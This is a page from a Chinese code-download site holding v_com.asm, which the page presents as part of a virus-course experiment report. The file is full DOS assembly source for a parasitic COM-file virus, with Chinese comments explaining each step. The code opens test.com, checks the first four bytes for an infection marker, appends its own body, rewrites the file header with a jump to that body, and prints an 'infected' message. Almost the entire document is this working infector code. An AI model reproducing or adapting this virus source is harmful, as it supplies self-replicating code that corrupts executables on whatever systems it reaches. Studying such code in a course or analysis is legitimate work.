⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 v_com.asm

📁 一次关于病毒课程的试验报告
💻 ASM
字号:
CSEG	SEGMENT
ASSUME	CS:CSEG,DS:CSEG,SS:CSEG,ES:CSEG
        org 0100h     
start: 	
	nop
	nop
	nop
	nop
        CALL	main 
	MOV	AX,04c00h 
	INT	21h 
        ret
        
main 	PROC 	NEAR 
mainstart: 	CALL	vstart 	;病毒的代码开始处 
vstart: 
	POP	SI 	        ;得到当前地址 
	MOV	BP,SI 	        ;保存当前地址 
	ADD	SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节 
	MOV	DI,0100h 	;目的地址 
	MOV	AX,DS:[SI] 	;开始复制 
	MOV	DS:[DI],AX 
	INC	SI 
	INC	SI 
	INC	DI 		;;将yuan4byte处的4字节复制到100处	
	INC	DI 
	MOV	AX,DS:[SI] 
	MOV	DS:[DI],AX 
	MOV	SI,BP 		;恢复地址值,将test.com文件的头4个字节读入到yuan4byte处
	MOV	DX,OFFSET filename-OFFSET vstart ;得到文件名 
	ADD	DX,SI 
	MOV	AL,02 
	MOV	AH,3dh 		;以读写方式打开文件 
	INT	21h 
	JC	error 
	MOV	BX,AX 	        ;文件句柄 
	MOV	DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节 
	ADD	DX,SI 
	MOV	CX,4 
	MOV	AH,3fh 
	INT	21h 	         ;读4个字节

	MOV	DI,DX
	MOV	AX,DS:[DI]
	CMP	AX,0E94DH	;判断是否未感染,若是则进行感染
	JNZ	HOOH
	CMP	AX,DS:[100H]	;判断是否下一个模块为原文件,若是则进行一次感染
	JZ	DISPLAY		;否则只显示信息
HOOH:
	MOV	AX,04202h 	 ;从文件尾倒移 
	XOR	CX,CX 
	XOR	DX,DX 
	INT	21h 	         ;文件指针移到末尾,此时AX为新的文件指针位置
	MOV	DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方 
	ADD	DI,2 
	ADD	DI,SI 
	SUB	AX,4 	
	MOV	DS:[DI],AX       ;将文件指针位置保存到new4byte + 2处
	ADD	SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒 
	MOV	DX,SI 	         ;将从vstart处开始的代码写入文件
	MOV	CX, OFFSET vends-OFFSET mainstart 	
	MOV	AH,40h 	         ;写文件,写到文件末尾
	INT	21h 
	MOV	SI,BP 	         ;定位到文件头 
	MOV	AL,0 
	XOR	CX,CX 
	XOR	DX,DX 
	MOV	AH,42h 
	INT	21h 	         ;文件指针移到开头
	MOV	AH,40h 	         ;将新的文件头写入 
	MOV	CX,4 
	MOV	DX,OFFSET new4byte-OFFSET vstart 
	ADD	DX,SI 
	INT	21h 	         ;将new4byte处4字节内容写入文件开始处
			         ;即将文件开头设置一条jmp指令,跳到病毒开始处
	MOV	AH,3eh           ;关闭文件 
	INT	21h 
DISPLAY:	
	;display infected message
	mov     SI, BP
	ADD     SI, offset sz_message - OFFSET vstart
	mov	DX, SI 
	mov	AH, 09h
	int	21h
	
	;判断是否是病毒本身
error:	

	MOV	AX, 100h 	
	PUSH	AX 	
	ret
main	ENDP 
	


yuan4byte: 	RET 
	DB 3 DUP (?) 
vflag   DW      0
new4byte 	DB 	'M',0e9h,0,0 	;dec bp,     jmp xxxx
filename 	DB 	"test.com",0    ;parasited file name
sz_message      DB      "You are infected by a concept com virus",0dh,0ah,'$' 
vends: 

CSEG	ENDS 
	end     

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -